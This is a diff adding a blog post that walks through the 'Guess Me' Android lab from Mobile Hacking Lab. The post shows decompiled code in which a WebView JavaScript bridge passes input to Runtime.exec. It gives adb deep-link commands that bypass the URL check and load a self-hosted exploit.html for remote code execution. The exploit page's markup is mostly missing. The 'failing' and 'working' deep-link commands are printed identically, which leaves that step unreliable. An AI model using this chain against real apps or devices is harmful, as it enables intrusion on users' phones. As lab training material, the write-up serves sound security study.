diff --git a/_posts/2024-03-09-mhl-guess-me.md b/_posts/2024-03-09-mhl-guess-me.md new file mode 100644 index 0000000000..3433eaae1b --- /dev/null +++ b/_posts/2024-03-09-mhl-guess-me.md @@ -0,0 +1,500 @@ +--- +layout: post +title: Guess Me - Mobile Hacking Lab +color: rgb(51,122,183) +tags: [Mobile Hacking lab, Android Security] +comments: true +share: false +excerpt_separator: +--- + +The [Guess Me](https://www.mobilehackinglab.com/course/lab-guess-me) lab is designed to explore a vulnerability in the loading of pages within a WebView in an Android application, which can lead to Remote Code Execution (RCE). Let's delve into discovering how we can achieve command execution. + +### Introduction + +Upon opening the application, we encounter a text input to enter a number from 1 to 100 and see if we guess correctly. As there doesn't seem to be anything else of interest, let's examine the source code to understand what's happening behind the scenes. + +### Static Analysis + +Our investigation begins with a thorough examination of the `AndroidManifest.xml` file, where we discover an exported activity named `WebviewActivity`. However, before delving into the specifics of this activity, let's first inspect the `MainActivity` to understand the application's primary functionality. + +```xml + +... + + + + + + + + +... +``` + +Looking at the `MainActivity` source code, we observe standard functionality for handling user interactions and game logic. However, our focus shifts to the `WebviewActivity`, which utilizes a WebView to render web content. + +```java +//MainActivity +package com.mobilehackinglab.guessme; + +import android.content.Intent; +.... + +/* loaded from: classes3.dex */ +public final class MainActivity extends AppCompatActivity { + private ImageButton aboutusbtn; + private int attempts; + private Button exitButton; + private Button guessButton; + private EditText guessEditText; + private final int maxAttempts = 10; + private Button newGameButton; + private TextView resultTextView; + private int secretNumber; + + /* JADX INFO: Access modifiers changed from: protected */ + @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(C0892R.layout.activity_main); + View findViewById = findViewById(C0892R.C0895id.resultTextView); + Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)"); + this.resultTextView = (TextView) findViewById; + View findViewById2 = findViewById(C0892R.C0895id.guessEditText); + Intrinsics.checkNotNullExpressionValue(findViewById2, "findViewById(...)"); + this.guessEditText = (EditText) findViewById2; + View findViewById3 = findViewById(C0892R.C0895id.guessButton); + Intrinsics.checkNotNullExpressionValue(findViewById3, "findViewById(...)"); + this.guessButton = (Button) findViewById3; + View findViewById4 = findViewById(C0892R.C0895id.newGameButton); + Intrinsics.checkNotNullExpressionValue(findViewById4, "findViewById(...)"); + this.newGameButton = (Button) findViewById4; + View findViewById5 = findViewById(C0892R.C0895id.exitButton); + Intrinsics.checkNotNullExpressionValue(findViewById5, "findViewById(...)"); + this.exitButton = (Button) findViewById5; + View findViewById6 = findViewById(C0892R.C0895id.aboutus); + Intrinsics.checkNotNullExpressionValue(findViewById6, "findViewById(...)"); + this.aboutusbtn = (ImageButton) findViewById6; + ImageButton imageButton = this.aboutusbtn; + Button button = null; + if (imageButton == null) { + Intrinsics.throwUninitializedPropertyAccessException("aboutusbtn"); + imageButton = null; + } + imageButton.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda0 + @Override // android.view.View.OnClickListener + public final void onClick(View view) { + MainActivity.onCreate$lambda$0(MainActivity.this, view); + } + }); + startNewGame(); + Button button2 = this.guessButton; + if (button2 == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessButton"); + button2 = null; + } + button2.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda1 + @Override // android.view.View.OnClickListener + public final void onClick(View view) { + MainActivity.onCreate$lambda$1(MainActivity.this, view); + } + }); + Button button3 = this.newGameButton; + if (button3 == null) { + Intrinsics.throwUninitializedPropertyAccessException("newGameButton"); + button3 = null; + } + button3.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda2 + @Override // android.view.View.OnClickListener + public final void onClick(View view) { + MainActivity.onCreate$lambda$2(MainActivity.this, view); + } + }); + Button button4 = this.exitButton; + if (button4 == null) { + Intrinsics.throwUninitializedPropertyAccessException("exitButton"); + } else { + button = button4; + } + button.setOnClickListener(new View.OnClickListener() { // from class: com.mobilehackinglab.guessme.MainActivity$$ExternalSyntheticLambda3 + @Override // android.view.View.OnClickListener + public final void onClick(View view) { + MainActivity.onCreate$lambda$3(MainActivity.this, view); + } + }); + } + + /* JADX INFO: Access modifiers changed from: private */ + public static final void onCreate$lambda$0(MainActivity this$0, View it) { + Intrinsics.checkNotNullParameter(this$0, "this$0"); + Intent intent = new Intent(this$0, WebviewActivity.class); + this$0.startActivity(intent); + } + + /* JADX INFO: Access modifiers changed from: private */ + public static final void onCreate$lambda$1(MainActivity this$0, View it) { + Intrinsics.checkNotNullParameter(this$0, "this$0"); + this$0.validateGuess(); + } + + /* JADX INFO: Access modifiers changed from: private */ + public static final void onCreate$lambda$2(MainActivity this$0, View it) { + Intrinsics.checkNotNullParameter(this$0, "this$0"); + this$0.startNewGame(); + } + + /* JADX INFO: Access modifiers changed from: private */ + public static final void onCreate$lambda$3(MainActivity this$0, View it) { + Intrinsics.checkNotNullParameter(this$0, "this$0"); + this$0.finish(); + } + + private final void startNewGame() { + this.secretNumber = Random.Default.nextInt(1, TypedValues.TYPE_TARGET); + this.attempts = 0; + TextView textView = this.resultTextView; + EditText editText = null; + if (textView == null) { + Intrinsics.throwUninitializedPropertyAccessException("resultTextView"); + textView = null; + } + textView.setText("Guess a number between 1 and 100"); + EditText editText2 = this.guessEditText; + if (editText2 == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessEditText"); + } else { + editText = editText2; + } + editText.getText().clear(); + enableInput(); + } + + private final void validateGuess() { + EditText editText = this.guessEditText; + if (editText == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessEditText"); + editText = null; + } + Integer userGuess = StringsKt.toIntOrNull(editText.getText().toString()); + if (userGuess != null) { + this.attempts++; + if (userGuess.intValue() < this.secretNumber) { + displayMessage("Too low! Try again."); + } else if (userGuess.intValue() > this.secretNumber) { + displayMessage("Too high! Try again."); + } else { + displayMessage("Congratulations! You guessed the correct number " + this.secretNumber + " in " + this.attempts + " attempts."); + disableInput(); + } + if (this.attempts == this.maxAttempts) { + displayMessage("Sorry, you've run out of attempts. The correct number was " + this.secretNumber + '.'); + disableInput(); + return; + } + return; + } + displayMessage("Please enter a valid number."); + } + + private final void displayMessage(String message) { + TextView textView = this.resultTextView; + EditText editText = null; + if (textView == null) { + Intrinsics.throwUninitializedPropertyAccessException("resultTextView"); + textView = null; + } + textView.setText(message); + EditText editText2 = this.guessEditText; + if (editText2 == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessEditText"); + } else { + editText = editText2; + } + editText.getText().clear(); + } + + private final void disableInput() { + EditText editText = this.guessEditText; + Button button = null; + if (editText == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessEditText"); + editText = null; + } + editText.setEnabled(false); + Button button2 = this.guessButton; + if (button2 == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessButton"); + } else { + button = button2; + } + button.setEnabled(false); + } + + private final void enableInput() { + EditText editText = this.guessEditText; + Button button = null; + if (editText == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessEditText"); + editText = null; + } + editText.setEnabled(true); + Button button2 = this.guessButton; + if (button2 == null) { + Intrinsics.throwUninitializedPropertyAccessException("guessButton"); + } else { + button = button2; + } + button.setEnabled(true); + } +} +``` + +The `WebviewActivity` piques our interest. This activity utilizes a WebView to render web content. Upon opening the activity, the `handleDeepLink` function is invoked, which verifies if the activity is launched via an intent. If deemed valid, the `loadDeepLink` function is called, after being validated by the `isValidDeepLink` function. Otherwise, a default `index.html` is loaded. + +The `isValidDeepLink` function checks the URI, ensuring it adheres to specific criteria, including the presence of the scheme `mhl://` or `https://`, a host part with the value `mobilehackinglab`, and a query parameter `url`. Thus, a valid URI might be `mhl://mobilehackinglab?url=bernasv.com` + +```java +//WebViewActivity +package com.mobilehackinglab.guessme; + +... +import kotlin.text.StringsKt; + +/* loaded from: classes3.dex */ +public final class WebviewActivity extends AppCompatActivity { + private WebView webView; + + /* JADX INFO: Access modifiers changed from: protected */ + @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(C0892R.layout.activity_web); + View findViewById = findViewById(C0892R.C0895id.webView); + Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(...)"); + this.webView = (WebView) findViewById; + WebView webView = this.webView; + WebView webView2 = null; + if (webView == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView = null; + } + WebSettings webSettings = webView.getSettings(); + Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)"); + webSettings.setJavaScriptEnabled(true); + WebView webView3 = this.webView; + if (webView3 == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView3 = null; + } + webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge"); + WebView webView4 = this.webView; + if (webView4 == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView4 = null; + } + webView4.setWebViewClient(new WebViewClient()); + WebView webView5 = this.webView; + if (webView5 == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + } else { + webView2 = webView5; + } + webView2.setWebChromeClient(new WebChromeClient()); + loadAssetIndex(); + handleDeepLink(getIntent()); + } + + /* JADX INFO: Access modifiers changed from: protected */ + @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity + public void onNewIntent(Intent intent) { + super.onNewIntent(intent); + handleDeepLink(intent); + } + + private final void handleDeepLink(Intent intent) { + Uri uri = intent != null ? intent.getData() : null; + if (uri != null) { + if (isValidDeepLink(uri)) { + loadDeepLink(uri); + } else { + loadAssetIndex(); + } + } + } + + private final boolean isValidDeepLink(Uri uri) { + if ((Intrinsics.areEqual(uri.getScheme(), "mhl") || Intrinsics.areEqual(uri.getScheme(), "https")) && Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) { + String queryParameter = uri.getQueryParameter("url"); + return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null); + } + return false; + } + + private final void loadDeepLink(Uri uri) { + String fullUrl = String.valueOf(uri.getQueryParameter("url")); + WebView webView = this.webView; + WebView webView2 = null; + if (webView == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView = null; + } + webView.loadUrl(fullUrl); + WebView webView3 = this.webView; + if (webView3 == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + } else { + webView2 = webView3; + } + webView2.reload(); + } + + private final void loadAssetIndex() { + WebView webView = this.webView; + if (webView == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView = null; + } + webView.loadUrl("file:///android_asset/index.html"); + } + + /* compiled from: WebviewActivity.kt */ + @Metadata(m30d1 = {"\u0000\u001c\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\u0002\b\u0086\u0004\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\u0010\u0010\u0003\u001a\u00020\u00042\u0006\u0010\u0005\u001a\u00020\u0004H\u0007J\u0010\u0010\u0006\u001a\u00020\u00072\u0006\u0010\b\u001a\u00020\u0004H\u0007¨\u0006\t"}, m29d2 = {"Lcom/mobilehackinglab/guessme/WebviewActivity$MyJavaScriptInterface;", "", "(Lcom/mobilehackinglab/guessme/WebviewActivity;)V", "getTime", "", "Time", "loadWebsite", "", "url", "app_debug"}, m28k = 1, m27mv = {1, 9, 0}, m25xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE) + /* loaded from: classes3.dex */ + public final class MyJavaScriptInterface { + public MyJavaScriptInterface() { + } + + @JavascriptInterface + public final void loadWebsite(String url) { + Intrinsics.checkNotNullParameter(url, "url"); + WebView webView = WebviewActivity.this.webView; + if (webView == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView = null; + } + webView.loadUrl(url); + } + + @JavascriptInterface + public final String getTime(String Time) { + Intrinsics.checkNotNullParameter(Time, "Time"); + try { + Process process = Runtime.getRuntime().exec(Time); + InputStream inputStream = process.getInputStream(); + Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)"); + InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8); + BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192); + String readText = TextStreamsKt.readText(reader); + reader.close(); + return readText; + } catch (Exception e) { + return "Error getting time"; + } + } + } +} +``` +Let's try to open the app with this deep link: + +```bash +adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=bernasv.com?test=mobilehackinglab.com" +``` + +However, we get redirected to the `index.html` instead of your website. Upon revisiting the code, we found that the query parameter part needs to end with `mobilehackinglab.com`. This can be bypassed easily by appending something like `oursite.com?data=mobilehackinglab.com`. + +So lets try to open the app again with this: + +```bash +adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=bernasv.com?test=mobilehackinglab.com" +``` + +Now that we've successfully opened our site, what actions can we take next? Upon inspecting the WebView interface, we discover the presence of a `MyJavaScriptInterface` containing functions `loadWebsite` and `getTime`. Upon closer examination of the `getTime` function, we realize that we have control over the command to be executed. Armed with this knowledge, we can serve a malicious HTML file and prompt the application to load it via a deep link, thereby granting us remote code execution. + +```java +/WebViewActivity -> MyJavaScriptInterface +public final class MyJavaScriptInterface { + public MyJavaScriptInterface() { + } + + @JavascriptInterface + public final void loadWebsite(String url) { + Intrinsics.checkNotNullParameter(url, "url"); + WebView webView = WebviewActivity.this.webView; + if (webView == null) { + Intrinsics.throwUninitializedPropertyAccessException("webView"); + webView = null; + } + webView.loadUrl(url); + } + + @JavascriptInterface + public final String getTime(String Time) { + Intrinsics.checkNotNullParameter(Time, "Time"); + try { + Process process = Runtime.getRuntime().exec(Time); + InputStream inputStream = process.getInputStream(); + Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)"); + InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8); + BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192); + String readText = TextStreamsKt.readText(reader); + reader.close(); + return readText; + } catch (Exception e) { + return "Error getting time"; + } + } +} +``` + +### Exploiting the Application + +First, let's create and host an `exploit.html` file that communicates with `MyJavaScriptInterface` using the exposed method `getTime()` with the parameter being the command to run using the `AndroidBridge` defined in the `WebviewActivity`. + +```html + + + + + + + + + +

Exploit guess app

+

+ + + + + + + +``` + +Now, all we need to do is serve this HTML file using Python. + +```bash +python -m http.server 80 +``` + +And start our app to get the URL of your web server to achieve remote code execution. + +```bash +adb shell am start -a android.intent.action.VIEW -d "mhl://mobilehackinglab?url=http://192.168.0.109/exploit.html?test=mobilehackinglab.com" +``` + +Upon the page loading, we successfully achieve remote code execution on the victim's phone. + +### Conclusion + +This lab serves as a valuable lesson in understanding the security implications of loading URLs within a WebView in Android applications. By exploiting vulnerabilities such as insecure JavaScript interfaces, attackers can achieve Remote Code Execution and compromise the integrity of the application. For a hands-on experience with these concepts, visit the lab at [MobileHackingLab - Guess Me](https://www.mobilehackinglab.com/course/lab-guess-me). Embark on a journey of discovery and bolster your expertise in mobile security.